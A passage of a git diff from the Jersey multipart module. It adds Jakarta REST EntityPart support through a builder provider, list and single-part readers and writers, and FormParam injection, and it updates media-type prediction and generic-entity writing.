+        if (contentRead.compareAndExchange(false, true)) {
+            throw new IllegalStateException(LocalizationMessages.CONTENT_HAS_BEEN_ALREADY_READ());
+        }
+        final Object entity = getEntity();
+        return type.isInstance(entity) ? type.cast(entity) : getEntityAs(type);
+    }
+
+    @Override
+    public <T> T getContent(GenericType<T> type) {
+        if (contentRead.compareAndExchange(false, true)) {
+            throw new IllegalStateException(LocalizationMessages.CONTENT_HAS_BEEN_ALREADY_READ());
+        }
+        final Object entity = getEntity();
+        return type.getRawType().isInstance(entity) ? (T) entity : getEntityAs(type);
+    }
+
     /**
      * Sets the control name.
      *
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java
new file mode 100644
index 0000000..307eb97
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart;
+
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedHashMap;
+import jakarta.ws.rs.core.MultivaluedMap;
+import org.glassfish.jersey.innate.spi.EntityPartBuilderProvider;
+import org.glassfish.jersey.media.multipart.file.FileDataBodyPart;
+import org.glassfish.jersey.media.multipart.file.StreamDataBodyPart;
+import org.glassfish.jersey.media.multipart.internal.LocalizationMessages;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Jersey implementation of {@link EntityPart.Builder}.
+ * @since 3.1.0
+ */
+public class JerseyEntityPartBuilderProvider implements EntityPartBuilderProvider {
+
+    @Override
+    public EntityPart.Builder withName(String partName) {
+        return new EnityPartBuilder().withName(partName);
+    }
+
+    private static class EnityPartBuilder implements EntityPart.Builder {
+
+        private String partName;
+        private String fileName = null;
+        private MultivaluedMap<String, String> headers = new MultivaluedHashMap<>();
+        private MediaType mediaType = null;
+        private MethodData methodData;
+
+        private EntityPart.Builder withName(String partName) {
+            this.partName = partName;
+            return this;
+        }
+
+        @Override
+        public EntityPart.Builder mediaType(MediaType mediaType) throws IllegalArgumentException {
+            this.mediaType = mediaType;
+            return this;
+        }
+
+        @Override
+        public EntityPart.Builder mediaType(String mediaTypeString) throws IllegalArgumentException {
+            this.mediaType = MediaType.valueOf(mediaTypeString);
+            return this;
+        }
+
+        @Override
+        public EntityPart.Builder header(String headerName, String... headerValues) throws IllegalArgumentException {
+            this.headers.addAll(headerName, headerValues);
+            return this;
+        }
+
+        @Override
+        public EntityPart.Builder headers(MultivaluedMap<String, String> newHeaders) throws IllegalArgumentException {
+            for (Map.Entry<String, List<String>> entry : newHeaders.entrySet()) {
+                header(entry.getKey(), entry.getValue().toArray(new String[0]));
+            }
+            return this;
+        }
+
+        @Override
+        public EntityPart.Builder fileName(String fileName) throws IllegalArgumentException {
+            this.fileName = fileName;
+            return this;
+        }
+
+        @Override
+        public EntityPart.Builder content(InputStream content) throws IllegalArgumentException {
+            methodData = new InputStreamMethodData(content);
+            return this;
+        }
+
+        @Override
+        public <T> EntityPart.Builder content(T content, Class<? extends T> type) throws IllegalArgumentException {
+            if (File.class.equals(type)) {
+                methodData = new FileMethodData((File) content);
+            } else if (InputStream.class.equals(type)) {
+                methodData = new InputStreamMethodData((InputStream) content);
+            } else {
+                methodData = new GenericData(content, null);
+            }
+            return this;
+        }
+
+        @Override
+        public <T> EntityPart.Builder content(T content, GenericType<T> type) throws IllegalArgumentException {
+            if (File.class.equals(type.getRawType())) {
+                methodData = new FileMethodData((File) content);
+            } else if (InputStream.class.equals(type.getRawType())) {
+                methodData = new InputStreamMethodData((InputStream) content);
+            } else {
+                methodData = new GenericData(content, type);
+            }
+            return this;
+        }
+
+        @Override
+        public EntityPart build() throws IllegalStateException, IOException, WebApplicationException {
+            if (methodData == null) {
+                throw new IllegalStateException(LocalizationMessages.ENTITY_CONTENT_NOT_SET());
+            }
+            final FormDataBodyPart bodyPart = methodData.build();
+            return bodyPart;
+        }
+
+
+        private abstract class MethodData<T> {
+            protected MethodData(T content) {
+                this.content = content;
+            }
+            protected final T content;
+            protected abstract FormDataBodyPart build();
+            protected void fillFormData(FormDataBodyPart bodyPart) {
+                FormDataContentDisposition contentDisposition =
+                        FormDataContentDisposition.name(partName).fileName(fileName).build();
+                bodyPart.setContentDisposition(contentDisposition);
+                if (mediaType != null) {
+                    bodyPart.setMediaType(mediaType);
+                }
+                for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
+                    bodyPart.getHeaders().addAll(entry.getKey(), entry.getValue().toArray(new String[0]));
+                }
+            }
+        }
+
+        private class InputStreamMethodData extends MethodData<InputStream> {
+            protected InputStreamMethodData(InputStream content) {
+                super(content);
+            }
+
+            @Override
+            protected FormDataBodyPart build() {
+                final StreamDataBodyPart streamDataBodyPart = new StreamDataBodyPart();
+                streamDataBodyPart.setFilename(fileName);
+                fillFormData(streamDataBodyPart);
+                streamDataBodyPart.setStreamEntity(content, mediaType);
+                return streamDataBodyPart;
+            }
+        }
+
+        private class FileMethodData extends MethodData<File> {
+            protected FileMethodData(File content) {
+                super(content);
+            }
+
+            @Override
+            protected FormDataBodyPart build() {
+                final FileDataBodyPart fileDataBodyPart = new FileDataBodyPart();
+                fillFormData(fileDataBodyPart);
+                if (mediaType != null) {
+                    fileDataBodyPart.setFileEntity(content, mediaType);
+                } else {
+                    fileDataBodyPart.setFileEntity(content);
+                }
+                return fileDataBodyPart;
+            }
+        }
+
+        private class GenericData extends MethodData<Object> {
+            private final GenericType<?> genericEntity;
+
+            protected GenericData(Object content, GenericType<?> genericEntity) {
+                super(content);
+                this.genericEntity = genericEntity;
+            }
+
+            @Override
+            protected FormDataBodyPart build() {
+                final FormDataBodyPart formDataBodyPart = new FormDataBodyPart();
+                fillFormData(formDataBodyPart);
+                if (genericEntity != null && !GenericEntity.class.isInstance(content)) {
+                    GenericEntity entity = new GenericEntity(content, genericEntity.getType());
+                    formDataBodyPart.setEntity(entity);
+                } else {
+                    formDataBodyPart.setEntity(content);
+                }
+
+                return formDataBodyPart;
+            }
+        }
+    }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java
index 3224ec5..c49be99 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,10 +20,14 @@
 import jakarta.ws.rs.core.Feature;
 import jakarta.ws.rs.core.FeatureContext;
 
+import org.glassfish.jersey.media.multipart.internal.EntityPartReader;
+import org.glassfish.jersey.media.multipart.internal.EntityPartWriter;
 import org.glassfish.jersey.media.multipart.internal.FormDataParamInjectionFeature;
 import org.glassfish.jersey.media.multipart.internal.MultiPartReaderClientSide;
 import org.glassfish.jersey.media.multipart.internal.MultiPartReaderServerSide;
 import org.glassfish.jersey.media.multipart.internal.MultiPartWriter;
+import org.glassfish.jersey.media.multipart.internal.SingleEntityPartReader;
+import org.glassfish.jersey.media.multipart.internal.SingleEntityPartWriter;
 
 /**
  * Feature used to register Multipart providers.
@@ -45,6 +49,11 @@
 
         context.register(MultiPartWriter.class);
 
+        context.register(EntityPartReader.class);
+        context.register(EntityPartWriter.class);
+        context.register(SingleEntityPartReader.class);
+        context.register(SingleEntityPartWriter.class);
+
         return true;
     }
 }
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java
new file mode 100644
index 0000000..f9cfb9d
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart;
+
+import jakarta.ws.rs.core.FeatureContext;
+import org.glassfish.jersey.internal.spi.AutoDiscoverable;
+
+/**
+ * Automatic registration of {@link MultiPartFeature}.
+ * @since 3.1.0
+ */
+public class MultiPartFeatureAutodiscoverable implements AutoDiscoverable {
+    @Override
+    public void configure(FeatureContext context) {
+        context.register(MultiPartFeature.class);
+    }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java
index f91c723..1493e8f 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -38,6 +38,7 @@
      * Currently supported file extension and MIME Types are -
      * <ul>
      *   <li>".xml" - application/xml</li>
+     *   <li>".json - application/json</li>
      *   <li>".txt" - text/plain</li>
      *   <li>".pdf" - application/pdf</li>
      *   <li>".htm" - text/html</li>
@@ -59,6 +60,7 @@
     public enum CommonMediaTypes {
 
         XML(".xml", MediaType.APPLICATION_XML_TYPE),
+        JSON(".json", MediaType.APPLICATION_JSON_TYPE),
         TXT(".txt", MediaType.TEXT_PLAIN_TYPE),
         HTM(".htm", MediaType.TEXT_HTML_TYPE),
         HTML(".html", MediaType.TEXT_HTML_TYPE),
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java
index 3ddedf2..707bedf 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,6 +18,7 @@
 
 import java.io.InputStream;
 import java.text.MessageFormat;
+import java.util.Optional;
 
 import jakarta.ws.rs.core.MediaType;
 
@@ -275,4 +276,8 @@
         return filename;
     }
 
+    @Override
+    public Optional<String> getFileName() {
+        return Optional.ofNullable(getFilename());
+    }
 }
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java
new file mode 100644
index 0000000..fb83486
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.FormDataBodyPart;
+import org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider;
+import org.glassfish.jersey.media.multipart.MultiPart;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * Reader supporting List&lt;EntityPart&gt; Make sure {@code GenericEntity} class is used when reading the
+ * {@link EntityPart}s.
+ * @since 3.1.0
+ */
+@Consumes(MediaType.MULTIPART_FORM_DATA)
+@Singleton
+public class EntityPartReader implements MessageBodyReader<List<EntityPart>> {
+
+    private MultiPartReaderClientSide multiPartReaderClientSide;
+
+    private final Providers providers;
+
+    @Inject
+    public EntityPartReader(@Context Providers providers) {
+        this.providers = providers;
+    }
+
+    @Override
+    public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+        return List.class.isAssignableFrom(type)
+                && ParameterizedType.class.isInstance(generic)
+                && EntityPart.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0));
+    }
+
+    @Override
+    public List<EntityPart> readFrom(Class<List<EntityPart>> type, Type genericType, Annotation[] annotations,
+                                     MediaType mediaType, MultivaluedMap<String, String> httpHeaders,
+                                     InputStream entityStream) throws IOException, WebApplicationException {
+
+        if (multiPartReaderClientSide == null) {
+            multiPartReaderClientSide = (MultiPartReaderClientSide) providers.getMessageBodyReader(
+                    MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE);
+        }
+
+        final MultiPart multiPart = multiPartReaderClientSide.readFrom(
+                MultiPart.class, MultiPart.class, annotations, mediaType, httpHeaders, entityStream);
+        final List<BodyPart> bodyParts = multiPart.getBodyParts();
+        final List<EntityPart> entityParts = new LinkedList<>();
+
+        for (BodyPart bp : bodyParts) {
+            if (FormDataBodyPart.class.isInstance(bp)) {
+                entityParts.add((EntityPart) bp);
+            } else {
+                final EntityPart ep = new JerseyEntityPartBuilderProvider().withName("")
+                        .mediaType(bp.getMediaType()).content(bp.getEntity()).headers(bp.getHeaders()).build();
+                entityParts.add(ep);
+            }
+        }
+
+        return entityParts;
+    }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java
new file mode 100644
index 0000000..3b9a301
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.MultiPart;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.List;
+
+/**
+ * Writer supporting List&lt;EntityPart&gt; Make sure {@code GenericEntity} class is used when sending the
+ * {@link EntityPart}s.
+ * @since 3.1.0
+ */
+@Produces(MediaType.MULTIPART_FORM_DATA)
+@Singleton
+public class EntityPartWriter implements MessageBodyWriter<List<EntityPart>> {
+
+    private MultiPartWriter multiPartWriter;
+
+    private final Providers providers;
+
+    @Inject
+    public EntityPartWriter(@Context Providers providers) {
+        this.providers = providers;
+    }
+
+    @Override
+    public boolean isWriteable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+        return List.class.isAssignableFrom(type)
+                && ParameterizedType.class.isInstance(generic)
+                && EntityPart.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0));
+    }
+
+    @Override
+    public void writeTo(List<EntityPart> entityParts, Class<?> type, Type genericType, Annotation[] annotations,
+                        MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+            throws IOException, WebApplicationException {
+        final MultiPart multiPart = new MultiPart();
+        multiPart.setMediaType(mediaType);
+        for (EntityPart ep : entityParts) {
+            multiPart.bodyPart((BodyPart) ep);
+        }
+
+        if (multiPartWriter == null) {
+            multiPartWriter = (MultiPartWriter) providers.getMessageBodyWriter(
+                    MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE);
+        }
+
+        multiPartWriter.writeTo(multiPart, MultiPart.class, MultiPart.class,
+                annotations, multiPart.getMediaType(), httpHeaders, entityStream);
+    }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
index 2da4623..277855b 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
@@ -33,6 +33,8 @@
 import java.util.stream.Collectors;
 
 import jakarta.ws.rs.BadRequestException;
+import jakarta.ws.rs.FormParam;
+import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.ext.MessageBodyReader;
@@ -61,7 +63,7 @@
 
 /**
  * Value supplier provider supporting the {@link FormDataParam} injection annotation and entity ({@link FormDataMultiPart})
- * injection.
+ * injection. Also supports {@link FormParam} {@code EntityPart} annotation injection.
  *
  * @author Craig McClanahan
  * @author Paul Sandoz
@@ -319,6 +321,43 @@
         }
     }
 
+    /**
+     * Provider supplier for list of {@link EntityPart} types injected via
+     * {@link jakarta.ws.rs.FormParam} annotation.
+     */
+    private final class ListEntityPartValueProvider extends ValueProvider<List<EntityPart>> {
+
+        private final String name;
+
+        public ListEntityPartValueProvider(final String name) {
+            this.name = name;
+        }
+
+        @Override
+        public List<EntityPart> apply(ContainerRequest request) {
+            return (List<EntityPart>) (List<?>) getEntity(request).getFields(name);
+        }
+    }
+
+    /**
+     * Provider supplier for list of {@link EntityPart} types injected via
+     * {@link jakarta.ws.rs.FormParam} annotation.
+     */
+    private final class EntityPartValueProvider extends ValueProvider<EntityPart> {
+
+        private final String name;
+
+        public EntityPartValueProvider(final String name) {
+            this.name = name;
+        }
+
+        @Override
+        public EntityPart apply(ContainerRequest request) {
+            List<FormDataBodyPart> bodyParts = getEntity(request).getFields(name);
+            return bodyParts.size() != 0 ? bodyParts.get(0) : null;
+        }
+    }
+
     private static final Set<Class<?>> TYPES = initializeTypes();
 
     private static Set<Class<?>> initializeTypes() {
@@ -352,7 +391,7 @@
      * @param extractorProvider multi-valued map parameter extractor provider.
      */
     public FormDataParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> extractorProvider) {
-        super(extractorProvider, Parameter.Source.ENTITY, Parameter.Source.UNKNOWN);
+        super(extractorProvider, Parameter.Source.ENTITY, Parameter.Source.FORM, Parameter.Source.UNKNOWN);
     }
 
     @Override
@@ -396,6 +435,16 @@
                     } else {
                         return new FormDataParamValueProvider(parameter, get(parameter));
                     }
+                } else if (FormParam.class.equals(sourceAnnotation.annotationType())) {
+                    final String paramName = ((FormParam) sourceAnnotation).value();
+                    if (Collection.class == rawType || List.class == rawType) {
+                        final Class clazz = ReflectionHelper.getGenericTypeArgumentClasses(parameter.getType()).get(0);
+                        if (EntityPart.class.equals(clazz)) {
+                            return new ListEntityPartValueProvider(paramName);
+                        }
+                    } else if (EntityPart.class.equals(rawType)) {
+                        return new EntityPartValueProvider(paramName);
+                    }
                 }
             }
         }
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java
index 7873872..db5fbc7 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java
@@ -31,6 +31,7 @@
 import jakarta.ws.rs.Produces;
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.GenericEntity;
 import jakarta.ws.rs.core.HttpHeaders;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.MultivaluedMap;
@@ -197,14 +198,21 @@
                 bodyEntity = ((BodyPartEntity) bodyEntity).getInputStream();
             }
 
+            Type bodyType = bodyClass;
+            if (GenericEntity.class.isInstance(bodyEntity)) {
+                bodyClass = ((GenericEntity<?>) bodyEntity).getRawType();
+                bodyType = ((GenericEntity) bodyEntity).getType();
+                bodyEntity = ((GenericEntity<?>) bodyEntity).getEntity();
+            }
+
             final MessageBodyWriter bodyWriter = providers.getMessageBodyWriter(
                     bodyClass,
-                    bodyClass,
+                    bodyType,
                     EMPTY_ANNOTATIONS,
                     bodyMediaType);
 
             if (bodyWriter == null) {
-                throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBW(bodyClass, mediaType));
+                throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBW(bodyClass, bodyMediaType));
             }
 
             bodyWriter.writeTo(
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java
new file mode 100644
index 0000000..9b7589e
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.inject.Inject;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.FormDataBodyPart;
+import org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider;
+import org.glassfish.jersey.media.multipart.MultiPart;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.util.LinkedList;
+import java.util.List;
+
+public class SingleEntityPartReader implements MessageBodyReader<EntityPart> {
+
+    private MultiPartReaderClientSide multiPartReaderClientSide;
+
+    private final Providers providers;
+
+    @Inject
+    public SingleEntityPartReader(@Context Providers providers) {
+        this.providers = providers;
+    }
+
+    @Override
+    public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+        return EntityPart.class.isAssignableFrom(type);
+    }
+
+    @Override
+    public EntityPart readFrom(Class<EntityPart> type, Type genericType, Annotation[] annotations,
+                                     MediaType mediaType, MultivaluedMap<String, String> httpHeaders,
+                                     InputStream entityStream) throws IOException, WebApplicationException {
+
+        if (multiPartReaderClientSide == null) {
+            multiPartReaderClientSide = (MultiPartReaderClientSide) providers.getMessageBodyReader(
+                    MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE);
+        }
+
+        final MultiPart multiPart = multiPartReaderClientSide.readFrom(
+                MultiPart.class, MultiPart.class, annotations, mediaType, httpHeaders, entityStream);
+        final List<BodyPart> bodyParts = multiPart.getBodyParts();
+        final List<EntityPart> entityParts = new LinkedList<>();
+
+        for (BodyPart bp : bodyParts) {
+            if (FormDataBodyPart.class.isInstance(bp)) {
+                entityParts.add((EntityPart) bp);
+            } else {
+                final EntityPart ep = new JerseyEntityPartBuilderProvider().withName("")
+                        .mediaType(bp.getMediaType()).content(bp.getEntity()).headers(bp.getHeaders()).build();
+                entityParts.add(ep);
+            }
+            // consume all bodyParts
+        }
+
+        return entityParts.get(0);
+    }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java
new file mode 100644
index 0000000..9150dc6
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.inject.Inject;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.MultiPart;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+
+public class SingleEntityPartWriter implements MessageBodyWriter<EntityPart> {
+
+    private MultiPartWriter multiPartWriter;
+
+    private final Providers providers;
+
+    @Inject
+    public SingleEntityPartWriter(@Context Providers providers) {
+        this.providers = providers;
+    }
+
+    @Override
+    public boolean isWriteable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+        return EntityPart.class.isAssignableFrom(type);
+    }
+
+    @Override
+    public void writeTo(EntityPart entityParts, Class<?> type, Type genericType, Annotation[] annotations,
+                        MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+            throws IOException, WebApplicationException {
+        final MultiPart multiPart = new MultiPart();
+        multiPart.setMediaType(mediaType);
